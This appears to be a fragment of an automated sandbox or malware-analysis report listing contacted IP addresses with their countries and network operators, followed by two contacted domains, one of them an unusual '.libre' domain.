77.158.133.19
 unknown France
15557 LDCOMNETFR false
7.240.30.152
 unknown United States
3356 LEVEL3US false
111.210.7.70
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
216.113.12.109
 unknown Canada
5769 VIDEOTRONCA false
39.141.192.238
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
34.226.245.40
 unknown United States
14618 AMAZON-AESUS false
163.145.230.158
 unknown Japan 2506 SUPERCSINTTWESTCHUGOKUCORPORATIONJP false
111.198.174.217
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
199.1.69.58
 unknown United States
1239 SPRINTLINKUS false
120.3.212.132
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
153.25.144.15
 unknown United States
6035 DNIC-ASBLK-05800-06055US false
178.131.71.106
 unknown Iran (ISLAMIC Republic Of)
50810 MOBINNET-ASAS47823belongstoArvanCloudCDNthatismobinn false
63.174.154.202
 unknown United States
46853 SWTEXASUS false
163.225.146.119
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
175.255.209.176
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
180.78.63.155
 unknown China
17429 BGCTVNETBEIJINGGEHUACATVNETWORKCOLTDCN false
138.182.15.108
 unknown United States
721 DNIC-ASBLK-00721-00726US false
30.182.66.134
 unknown United States
7922 COMCAST-7922US false
214.104.73.95
 unknown United States
721 DNIC-ASBLK-00721-00726US false
48.247.219.212
 unknown United States
2686 ATGS-MMD-ASUS false
211.27.63.73
 unknown Australia
9443 VOCUS-RETAIL-AUVocusRetailAU false
86.59.232.6
 unknown Hungary
5483 MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU false
97.153.201.97
 unknown United States
6167 CELLCO-PARTUS false
163.11.79.190
 unknown United States
600 OARNET-ASUS false
40.218.190.180
 unknown United States
4249 LILLY-ASUS false
103.170.35.98
 unknown unknown
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
37.62.245.2
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false
83.129.111.102
 unknown Germany
12312 ECOTELDE false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true
2joints.libre 156.244.13.91 true